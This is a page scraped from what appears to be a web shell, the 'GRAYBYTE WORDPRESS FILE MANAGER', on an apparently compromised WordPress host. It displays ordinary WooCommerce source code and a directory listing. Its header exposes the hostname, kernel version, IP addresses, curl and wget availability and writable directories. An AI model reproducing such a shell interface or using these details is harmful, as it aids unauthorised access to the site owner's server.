✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.95
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/woocommerce/src/Blocks/Utils//BlocksSharedState.php
<?php

declare(strict_types=1);

namespace Automattic\WooCommerce\Blocks\Utils;

use InvalidArgumentException;
use Automattic\WooCommerce\Blocks\Package;
use Automattic\WooCommerce\Blocks\Domain\Services\Hydration;

/**
 * Manages the registration of interactivity config and state that is commonly shared by WooCommerce blocks.
 * Initialization only happens on the first call to load_store_config.
 *
 * This is a private API and may change in future versions.
 */
class BlocksSharedState {

	/**
	 * The consent statement for using private APIs of this class.
	 *
	 * @var string
	 */
	private static string $consent_statement = 'I acknowledge that using private APIs means my theme or plugin will inevitably break in the next version of WooCommerce';

	/**
	 * The namespace for interactivity config and state.
	 *
	 * @var string
	 */
	private static string $settings_namespace = 'woocommerce';

	/**
	 * Whether the core config has been registered.
	 *
	 * @var bool
	 */
	private static bool $core_config_registered = false;

	/**
	 * Cart state.
	 *
	 * @var array|null
	 */
	private static ?array $blocks_shared_cart_state = null;

	/**
	 * Prevent caching on certain pages.
	 *
	 * @return void
	 */
	private static function prevent_cache(): void {
		\WC_Cache_Helper::set_nocache_constants();
		nocache_headers();
	}

	/**
	 * Check that the consent statement was passed.
	 *
	 * @param string $consent_statement The consent statement string.
	 * @return true
	 * @throws InvalidArgumentException If the statement does not match.
	 */
	private static function check_consent( string $consent_statement ): bool {
		if ( $consent_statement !== self::$consent_statement ) {
			throw new InvalidArgumentException( 'This method cannot be called without consenting the API may change.' );
		}

		return true;
	}

	/**
	 * Load store config (currency, locale, core data) into interactivity config.
	 *
	 * @param string $consent_statement The consent statement string.
	 * @return void
	 * @throws InvalidArgumentException If consent statement doesn't match.
	 */
	public static function load_store_config( string $consent_statement ): void {
		self::check_consent( $consent_statement );

		if ( self::$core_config_registered ) {
			return;
		}

		self::$core_config_registered = true;

		wp_interactivity_config( self::$settings_namespace, self::get_currency_data() );
		wp_interactivity_config( self::$settings_namespace, self::get_locale_data() );
	}

	/**
	 * Load cart state into interactivity state.
	 *
	 * @param string $consent_statement The consent statement string.
	 * @return void
	 * @throws InvalidArgumentException If consent statement doesn't match.
	 */
	public static function load_cart_state( string $consent_statement ): void {
		self::check_consent( $consent_statement );

		if ( null === self::$blocks_shared_cart_state ) {
			$cart_exists       = isset( WC()->cart );
			$cart_has_contents = $cart_exists && ! WC()->cart->is_empty();
			if ( $cart_exists ) {
				$cart_response                  = Package::container()->get( Hydration::class )->get_rest_api_response_data( '/wc/store/v1/cart' );
				self::$blocks_shared_cart_state = $cart_response['body'] ?? array();
			} else {
				self::$blocks_shared_cart_state = array();
			}

			if ( $cart_has_contents ) {
				self::prevent_cache();
			}

			wp_interactivity_config(
				self::$settings_namespace,
				array( 'nonOptimisticProperties' => self::get_non_optimistic_properties() )
			);

			wp_interactivity_state(
				self::$settings_namespace,
				array(
					'cart'     => self::$blocks_shared_cart_state,
					'noticeId' => '',
					'restUrl'  => get_rest_url(),
				)
			);
		}
	}

	/**
	 * Get currency data to include in settings.
	 *
	 * @return array
	 */
	private static function get_currency_data(): array {
		$currency = get_woocommerce_currency();

		return array(
			'currency' => array(
				'code'              => $currency,
				'precision'         => wc_get_price_decimals(),
				'symbol'            => html_entity_decode( get_woocommerce_currency_symbol( $currency ) ),
				'symbolPosition'    => get_option( 'woocommerce_currency_pos' ),
				'decimalSeparator'  => wc_get_price_decimal_separator(),
				'thousandSeparator' => wc_get_price_thousand_separator(),
				'priceFormat'       => html_entity_decode( get_woocommerce_price_format() ),
			),
		);
	}

	/**
	 * Get locale data to include in settings.
	 *
	 * @return array
	 */
	private static function get_locale_data(): array {
		global $wp_locale;

		return array(
			'locale' => array(
				'siteLocale'    => get_locale(),
				'userLocale'    => get_user_locale(),
				'weekdaysShort' => array_values( $wp_locale->weekday_abbrev ),
			),
		);
	}

	/**
	 * Get cart properties that cannot use optimistic UI on the frontend.
	 *
	 * Detects whether third-party code has registered callbacks on filters that
	 * modify cart property values. When callbacks are present, the corresponding
	 * property must use the server-computed value instead of a client-side
	 * optimistic computation.
	 *
	 * `@return` string[] List of cart property paths (dot-delimited) that cannot be optimistic.
	 *
	 * @return string[] List of cart property paths (dot-delimited) that cannot be optimistic.
	 */
	private static function get_non_optimistic_properties(): array {
		$properties = array();

		if ( has_filter( 'woocommerce_cart_contents_count' ) ) {
			$properties[] = 'cart.items_count';
		}

		return $properties;
	}

	/**
	 * Load placeholder image into interactivity config.
	 *
	 * @param string $consent_statement The consent statement string.
	 * @return void
	 * @throws InvalidArgumentException If consent statement doesn't match.
	 */
	public static function load_placeholder_image( string $consent_statement ): void {
		self::check_consent( $consent_statement );

		wp_interactivity_config(
			self::$settings_namespace,
			array( 'placeholderImgSrc' => wc_placeholder_img_src() )
		);
	}

	/**
	 * Get cart errors formatted as notices for the store-notices interactivity store.
	 *
	 * Returns errors from the hydrated cart state in the format expected by
	 * the store-notices store context.
	 *
	 * @param string $consent_statement The consent statement string.
	 * @return array Array of notices with id, notice, type, and dismissible keys.
	 * @throws InvalidArgumentException If consent statement doesn't match.
	 */
	public static function get_cart_error_notices( string $consent_statement ): array {
		self::check_consent( $consent_statement );

		// Ensure cart state is loaded so this method works independently.
		if ( null === self::$blocks_shared_cart_state ) {
			self::load_cart_state( $consent_statement );
		}

		$errors  = self::$blocks_shared_cart_state['errors'] ?? array();
		$notices = array();

		foreach ( $errors as $error ) {
			$notices[] = array(
				'id'          => wp_unique_id( 'store-notice-' ),
				'notice'      => $error['message'] ?? '',
				'type'        => 'error',
				'dismissible' => true,
			);
		}

		return $notices;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
BlockHooksTrait.php
6.894 KB
30 Jul 2024 7.31 PM
tdhomesa / tdhomesa
0644
BlockTemplateUtils.php
30.095 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
BlocksSharedState.php
6.857 KB
30 Mar 2026 5.12 PM
tdhomesa / tdhomesa
0644
BlocksWpQuery.php
2.083 KB
27 Dec 2023 12.45 AM
tdhomesa / tdhomesa
0644
CartCheckoutUtils.php
17.325 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
MiniCartUtils.php
3.51 KB
14 Nov 2024 1.17 AM
tdhomesa / tdhomesa
0644
ProductAvailabilityUtils.php
1.261 KB
29 Jul 2025 12.34 PM
tdhomesa / tdhomesa
0644
ProductDataUtils.php
0.444 KB
23 Jun 2025 7.46 PM
tdhomesa / tdhomesa
0644
ProductGalleryUtils.php
5.746 KB
30 Mar 2026 5.12 PM
tdhomesa / tdhomesa
0644
StyleAttributesUtils.php
23.122 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
Utils.php
1.211 KB
27 Dec 2023 12.45 AM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF